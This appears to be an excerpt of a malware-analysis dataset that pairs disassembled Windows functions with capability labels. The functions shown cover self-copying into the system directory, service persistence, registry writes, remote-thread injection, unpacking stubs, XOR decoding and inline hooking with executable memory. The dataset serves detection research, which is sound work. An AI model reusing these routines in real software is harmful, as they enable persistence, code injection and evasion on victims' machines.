joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d3d0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push ebx
push esi
push edi
push 0x40
pop edx
xor ebx, ebx
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x30b]
mov byte [ebp - 0x30c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x40f]
mov byte [ebp - 0x410], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1008e5f0
stosb byte es:[edi], al
call fcn.10003592
pop ecx
mov esi, 0x104
lea eax, [ebp - 0x30c]
push esi
push eax
push dword [section.xdoors_d]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000d472
lea eax, [ebp + 8]
push 0x10016908
push eax
mov dword [ebp + 8], 0x10094d30
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x208]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x30c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
cmp eax, ebx
pop ecx
je 0x1000d4ac
inc eax
push eax
lea eax, [ebp - 0x410]
push 0x10093664
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x208]
push 0x10094a48
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x208]
push ebx
push eax
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x30c]
push eax
je 0x1000d501
push 0x10094e80
jmp 0x1000d506
push 0x10094e64
call fcn.10003592
add esp, 0xc
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jne 0x1000d522
push 0x10094e54
jmp 0x1000d525
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push eax
call fcn.10004249
mov esi, eax
lea eax, [ebp - 0x104]
push esi
push eax
push 0x10094e34
call fcn.10003592
add esp, 0x10
cmp esi, ebx
je 0x1000d596
call fcn.1000372b
lea eax, [ebp - 0x410]
push eax
push esi
call fcn.1000d10d
pop ecx
test eax, eax
pop ecx
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x410]
push eax
je 0x1000d58f
push 0x10094e08
call fcn.10003592
add esp, 0xc
jmp 0x1000d5a9
push 0x10094de0
jmp 0x1000d585
lea eax, [ebp - 0x104]
push eax
push 0x10094db8
call fcn.10003592
pop ecx
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x1000d8a8
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
lea eax, [ebp - 0x108]
push 0x10094fbc
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x108]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000d915
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0xc]
push 1
push 0
push 0x10094fb0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x1000e8f8
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10016480
push 0x10015050
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
push 0x1008e5f0
call fcn.10003592
pop ecx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x24], eax
cmp eax, ebx
jne 0x1000e95d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
push eax
push 0x10095560
call fcn.10003592
pop ecx
pop ecx
jmp 0x1000e9af
mov dword [ebp - 0x28], 0x10095260
mov eax, dword [ebp + 8]
cmp eax, ebx
je 0x1000e972
cmp byte [eax], bl
je 0x1000e972
mov dword [ebp - 0x28], eax
push 0x10000
push dword [ebp - 0x28]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
je 0x1000e995
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1000e9b5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
push eax
push dword [ebp - 0x28]
push 0x10095544
call fcn.10003592
add esp, 0xc
or dword [ebp - 4], 0xffffffff
jmp 0x1000e9f3
push dword [ebp - 0x28]
push 0x10095528
jmp 0x1000e9d8
call fcn.10003592
pop ecx
pop ecx
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x24]
call esi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000f145
Capabilities:
Create thread
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push esi
push edi
mov ecx, 0x88
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 0x22c]
xor ebx, ebx
mov dword [ebp - 0x230], 0x224
push 8
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x1000f18a
xor eax, eax
jmp 0x1000f252
lea ecx, [ebp - 0x230]
push ecx
push eax
call sub.KERNEL32.dll_Module32First
cmp eax, ebx
je 0x1000f183
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
lea eax, [ebp - 0x110]
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x1000f1cb
push dword [ebp + 0xc]
lea eax, [ebp - 0x210]
push eax
call edi
pop ecx
test eax, eax
pop ecx
jne 0x1000f226
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
push ebx
push 0xa
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 8], edi
je 0x1000f257
push 0x100956c4
push 0x100956b4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x1000f25c
push ebx
push ebx
push dword [ebp - 0x21c]
push eax
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
cmp edi, ebx
je 0x1000f264
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call esi
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x1000f1a1
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call esi
mov eax, dword [ebp - 0xc]
neg eax
sbb eax, eax
and eax, 2
dec eax
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 4]
jmp 0x1000f26c
push dword [ebp - 4]
call esi
push edi
jmp 0x1000f26c
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call esi
jmp 0x1000f183
Function at 0x1000f6b9
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x10093004]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SuspendThread]
test eax, eax
je 0x1000f6cc
push eax
call esi
mov eax, dword [0x10093008]
test eax, eax
je 0x1000f6d8
push eax
call esi
pop esi
ret
Function at 0x10010fc7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x1009452c
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
mov ebx, eax
push 2
push 0
push ebx
mov dword [ebp + 8], ebx
call esi
push ebx
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push ebx
mov edi, eax
call esi
lea esi, [edi + 4]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, dword [ebp + 0xc]
push esi
xor esi, esi
push esi
push eax
mov dword [ebx], eax
call sub.MSVCRT.dll_memset
add esp, 0x34
sub edi, 0x10
je 0x10011039
push dword [ebp + 8]
mov eax, dword [ebx]
add eax, esi
push 1
push 4
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esi, 4
add esp, 0x10
cmp esi, edi
jb 0x1001101d
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1001107f
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
push 0x1009452c
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
mov edi, eax
push 2
push 0
push edi
call esi
push edi
call dword [sym.imp.MSVCRT.dll_ftell]
mov ebx, eax
push 0
lea eax, [ebx - 0x10]
push eax
push edi
call esi
push 0x10
push 0
push dword [esp + 0x40]
call sub.MSVCRT.dll_memset
push edi
push 0x10
push 1
push dword [esp + 0x50]
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x40
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
pop edi
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44b610
Capabilities:
Accept command line arguments

Disassembly:
mov ecx, dword [sym.imp.KERNEL32.dll_RaiseException]
mov al, 2
mov byte [0x663210], al
mov byte [0xa656f4], al
mov eax, 0xd7b0
push esi
mov dword [0x663228], ecx
mov word [0xa6574c], ax
mov word [0xa6574e], ax
mov word [0x663624], ax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x663258], eax
call esi
and eax, 0x80000000
cmp eax, 0x80000000
je 0x44b665
call esi
cmp al, 4
ja 0x44b66b
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x663254], eax
pop esi
ret

Function at 0x608f9f
Capabilities:
Check for software breakpoints

Disassembly:
invalid
push ds
mov al, 0x2c
jbe 0x60901c
mov dl, 0xaf
pop ds
add al, 0xd6
or al, 0x3f
popal
jns 0x608fbb
push ecx
cld
mov ah, 0xa2
leave
pop esi
out dx, eax
sub al, 0x86
loop 0x608f53
sahf
add eax, 0x9dc28109
cdq
cmp bh, byte [ecx]
call dword [esi - 0x4cefc1df]
test al, 0x75
adc byte [ecx + esi*4], dh
stosd dword es:[edi], eax
or dword [ecx + 0x3a999dc2], eax
cmp edi, edi
xchg esi, eax
and dword [esi], edi
adc byte [ebx + 0x341075a8], dh
mov cl, 0xab
sub al, 0x3c
mov ah, 0x29
iretd
retf

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x59a360
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x49b015
lea edi, [esi - 0x9a015]
push edi
or ebp, 0xffffffff
jmp 0x59a382
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x59a389
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x59a378
mov eax, 1
add ebx, ebx
jne 0x59a39b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x59a3ac
jne 0x59a3cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x59a3cb
dec eax
add ebx, ebx
jne 0x59a3b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x59a390
add ebx, ebx
jne 0x59a3c7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x59a41d
xor ecx, ecx
sub eax, 3
jb 0x59a3e3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x59a452
sar eax, 1
mov ebp, eax
jmp 0x59a3ee
add ebx, ebx
jne 0x59a3ee
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x59a3bc
inc ecx
add ebx, ebx
jne 0x59a3fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x59a3bc
add ebx, ebx
jne 0x59a409
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x59a3fe
jne 0x59a41a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x59a3fe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x59a43c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x59a42e
jmp 0x59a37e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x59a43c
add edi, ecx
jmp 0x59a37e
pop esi
mov edi, esi
mov ecx, 0x2c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x59a45a
cmp byte [edi], 0
jne 0x59a45a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x59a45f
lea edi, [esi + 0x198000]
mov eax, dword [edi]
or eax, eax
je 0x59a4ce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19a1e4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19a26c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x59a48c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19a274]
or eax, eax
je 0x59a4c8
mov dword [ebx], eax
add ebx, 4
jmp 0x59a4a9
call dword [esi + 0x19a270]
mov ebp, dword [esi + 0x19a278]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x59a502
sub esp, 0xffffff80
jmp 0x401d2a
Function at 0x10001550
Capabilities:
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
push edi
mov edi, ecx
cmp byte [edi + 0x20], 0
jne 0x10001645
mov eax, dword [edi + 0xc]
test eax, eax
je 0x10001645
push ebx
push ebp
push esi
push eax
push dword [edi]
lea eax, [edi + 0x10]
push eax
call fcn.100560d0
mov ebp, dword [edi + 0xc]
add esp, 0xc
mov eax, dword [edi + 4]
mov esi, dword [edi]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], esi
cmp ebp, 5
jae 0x100015a5
mov eax, dword [edi + 8]
xor ebx, ebx
pop esi
pop ebp
mov dword [eax], ebx
pop ebx
mov byte [edi + 0x20], 1
pop edi
add esp, 0xc
ret
push 0x40
push 0x3000
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x100015d7
push ebp
test esi, esi
je 0x100015cc
push esi
push ebx
call fcn.100560d0
add esp, 0xc
jmp 0x100015e7
push 0
push ebx
call fcn.10056650
add esp, 0xc
call fcn.100582ab
mov dword [eax], 0x16
call fcn.100581a2
mov eax, esi
mov byte [ebx + ebp], 0xe9
sub eax, ebx
sub eax, 5
mov dword [ebx + ebp + 1], eax
lea eax, [esp + 0x14]
push eax
push 0x40
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
push ebp
push 0x90
push dword [esp + 0x18]
call fcn.10056650
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov ecx, dword [esp + 0x18]
sub ecx, eax
sub ecx, 5
mov dword [eax + 1], ecx
lea ecx, [esp + 0x14]
push ecx
push dword [esp + 0x18]
mov byte [eax], 0xe9
push ebp
push eax
call esi
mov eax, dword [edi + 8]
pop esi
pop ebp
mov dword [eax], ebx
mov byte [edi + 0x20], 1
pop ebx
pop edi
add esp, 0xc
ret

Function at 0x10001af0
Capabilities:
Create thread

Disassembly:
cmp dword [esp + 8], 1
jne 0x10001b1e
mov eax, dword [esp + 0xc]
push 0
push 0
push dword [esp + 0xc]
mov dword [0x100b6958], eax
push 0x10001910
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
ret 0xc
Function at 0x10007f00
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100734b5
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x100b3140]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
lea eax, [edi + 0xc]
mov dword [edi], vtable.std::_Associated_state_int_.0
mov dword [edi + 4], 1
mov dword [edi + 8], 0
push eax
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.10053734
xorps xmm0, xmm0
lea eax, [edi + 0x44]
movups xmmword [edi + 0x20], xmm0
push eax
movq qword [edi + 0x30], xmm0
mov dword [edi + 0x38], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x3c], 0xffffffff
mov dword [edi + 0x14], 2
mov dword [edi + 0x40], 0
call fcn.10053734
mov byte [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov word [edi + 0x74], 0
mov byte [edi + 0x76], 0
mov dword [edi + 0x78], 0
mov dword [ebp - 4], 0
lea esi, [edi + 0x80]
mov dword [edi], vtable.std::_Packaged_state_void____cdecl___void__.0
mov dword [ebp - 0x14], esi
mov dword [esi + 0x24], 0
push 0x28
mov byte [ebp - 4], 1
call fcn.1005417f
mov edx, dword [ebp + 8]
add esp, 0xc
mov dword [eax], 0x1007c5a0
movups xmm0, xmmword [edx]
movups xmmword [eax + 8], xmm0
mov ecx, dword [edx + 0x10]
mov dword [eax + 0x18], ecx
mov dword [edx + 0x10], 0
mov cl, byte [edx + 0x18]
mov byte [eax + 0x20], cl
mov dword [esi + 0x24], eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10009090
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
mov ebx, edx
push edi
mov edi, ecx
cmp ebp, 5
jae 0x100090a6
pop edi
pop ebp
xor al, al
pop ebx
ret
lea eax, [esp + 0x10]
push eax
push 0x40
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebp
push 0x90
push edi
call fcn.10056650
add esp, 0xc
mov byte [edi], 0xe9
lea eax, [esp + 0x10]
sub ebx, edi
sub ebx, 5
mov dword [edi + 1], ebx
push eax
push dword [esp + 0x14]
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop ebp
mov al, 1
pop ebx
ret
Function at 0x1000b290
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x90
mov eax, dword [0x100b3140]
xor eax, esp
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x94]
push ebx
mov ebx, dword [esp + 0xac]
push ebp
push esi
mov ebp, edx
mov dword [esp + 0x24], eax
push edi
mov edi, dword [esp + 0xa8]
mov dword [esp + 0x1c], ecx
mov eax, dword [ebp]
mov dword [esp + 0x20], eax
mov eax, dword [edi]
mov dword [edi], 0
mov dword [ebp], 0
mov dword [esp + 0x24], eax
mov dword [ebx], 0
cmp eax, 5
jae 0x1000b2f6
mov eax, 6
jmp 0x1000b47c
mov ecx, dword [esp + 0xac]
movzx esi, byte [ecx + 4]
movzx eax, byte [ecx + 3]
shl esi, 8
or esi, eax
movzx eax, byte [ecx + 2]
shl esi, 8
or esi, eax
movzx eax, byte [ecx + 1]
shl esi, 8
or esi, eax
mov eax, 0x1000
cmp esi, eax
cmovb esi, eax
mov al, byte [ecx]
cmp al, 0xe1
jb 0x1000b336
mov eax, 4
jmp 0x1000b47c
movzx ecx, al
xor edx, edx
mov eax, ecx
mov dword [esp + 0x14], 9
div dword [esp + 0x14]
mov eax, 0x38e38e39
mov byte [esp + 0x12], dl
mul ecx
mov eax, 0xcccccccd
shr edx, 1
movzx ecx, dl
mul ecx
mov eax, ecx
mov ecx, 5
shr edx, 2
mov dword [esp + 0x18], edx
xor edx, edx
div ecx
push 0
mov al, dl
movzx ecx, al
mov byte [esp + 0x17], al
movzx eax, byte [esp + 0x16]
add ecx, eax
mov eax, 0x300
shl eax, cl
add eax, 0x7c0
push 0x1007caec
mov dword [esp + 0x1c], eax
call fcn.10009390
mov eax, dword [esp + 0x1c]
add eax, eax
push eax
push 0x1007caec
call fcn.10009380
add esp, 0x10
mov dword [esp + 0x38], eax
test eax, eax
jne 0x1000b3c4
mov eax, 2
jmp 0x1000b47c
mov edx, dword [esp + 0x20]
add eax, 0xd00
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x78], eax
mov al, byte [esp + 0x12]
mov byte [esp + 0x30], al
mov al, byte [esp + 0x13]
mov byte [esp + 0x31], al
mov eax, dword [esp + 0x18]
mov byte [esp + 0x32], al
movzx eax, byte [esp + 0x2b]
push ebx
push ecx
mov byte [esp + 0x3b], al
lea ecx, [esp + 0x38]
mov eax, dword [esp + 0x24]
push edi
push dword [esp + 0x34]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x44], esi
mov dword [esp + 0x54], edx
mov dword [esp + 0x58], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x84], 0x114
mov dword [edi], eax
call fcn.1000ae10
mov ecx, dword [esp + 0x58]
mov esi, eax
add esp, 0x10
mov dword [ebp], ecx
test esi, esi
jne 0x1000b469
cmp dword [ebx], 3
mov eax, 6
cmove esi, eax
push dword [esp + 0x38]
push 0x1007caec
call fcn.10009390
add esp, 8
mov eax, esi
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10054171
add esp, 0x90
ret
Function at 0x1000dfd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp byte [0x100b3ff8], 0
jne 0x1000e014
mov eax, dword [0x100b3fe4]
test eax, eax
je 0x1000e014
push eax
push dword [0x100b3fd8]
push 0x100b3fe8
call fcn.100560d0
push dword [0x100b3fe4]
mov edx, dword [0x100b3fdc]
mov ecx, dword [0x100b3fd8]
call fcn.10009090
add esp, 0x10
mov byte [0x100b3ff8], 1
mov ecx, 0x100b3ffc
jmp fcn.10001550

Function at 0x1000e020
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
cmp byte [0x100b7d40], 0
jne 0x1000e0ae
cmp byte [0x100b6b3f], 0
jne 0x1000e0ae
cmp byte [0x100b7d41], 0
jne 0x1000e0ae
cmp byte [0x100b7d44], 0
jne 0x1000e0ae
cmp byte [0x100b7d43], 0
jne 0x1000e0ae
cmp byte [0x100b3ff8], 0
je 0x1000e0a1
push ebx
mov ebx, dword [0x100b3fd8]
lea eax, [esp + 4]
push edi
mov edi, dword [0x100b3fe4]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push 0x100b3fe8
push ebx
call fcn.100560d0
add esp, 0xc
lea eax, [esp + 8]
push eax
push dword [esp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov byte [0x100b3ff8], 0
pop ebx
mov ecx, 0x100b3ffc
add esp, 4
jmp fcn.10001650
pop ecx
ret
Function at 0x1000fac0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
cmp byte [0x100b41a8], 0
je 0x1000fb10
push ebx
mov ebx, dword [0x100b4188]
lea eax, [esp + 4]
push edi
mov edi, dword [0x100b4194]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push 0x100b4198
push ebx
call fcn.100560d0
add esp, 0xc
lea eax, [esp + 8]
push eax
push dword [esp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov byte [0x100b41a8], 0
pop ebx
pop ecx
ret

Function at 0x1000ff50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
call fcn.1000e020
cmp byte [0x100b41f0], 0
je 0x1000ffa5
push ebx
mov ebx, dword [0x100b41d0]
lea eax, [esp + 4]
push edi
mov edi, dword [0x100b41dc]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push 0x100b41e0
push ebx
call fcn.100560d0
add esp, 0xc
lea eax, [esp + 8]
push eax
push dword [esp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov byte [0x100b41f0], 0
pop ebx
pop ecx
ret

Function at 0x10010020
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
cmp byte [0x100b4214], 0
je 0x10010070
push ebx
mov ebx, dword [0x100b41f4]
lea eax, [esp + 4]
push edi
mov edi, dword [0x100b4200]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push 0x100b4204
push ebx
call fcn.100560d0
add esp, 0xc
lea eax, [esp + 8]
push eax
push dword [esp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov byte [0x100b4214], 0
pop ebx
pop ecx
ret

Function at 0x10010160
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
cmp byte [0x100b4280], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
je 0x100101ad
mov esi, dword [0x100b426c]
lea eax, [esp + 0xc]
mov edi, dword [0x100b4260]
push eax
push 0x40
push esi
push edi
call ebx
push esi
push 0x100b4270
push edi
call fcn.100560d0
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push esi
push edi
call ebx
mov byte [0x100b4280], 0
cmp byte [0x100b425c], 0
je 0x100101f0
mov esi, dword [0x100b4248]
lea eax, [esp + 0xc]
mov edi, dword [0x100b423c]
push eax
push 0x40
push esi
push edi
call ebx
push esi
push 0x100b424c
push edi
call fcn.100560d0
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push esi
push edi
call ebx
mov byte [0x100b425c], 0
cmp byte [0x100b4238], 0
je 0x10010233
mov esi, dword [0x100b4224]
lea eax, [esp + 0xc]
mov edi, dword [0x100b4218]
push eax
push 0x40
push esi
push edi
call ebx
push esi
push 0x100b4228
push edi
call fcn.100560d0
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push esi
push edi
call ebx
mov byte [0x100b4238], 0
pop edi
pop esi
pop ebx
pop ecx
ret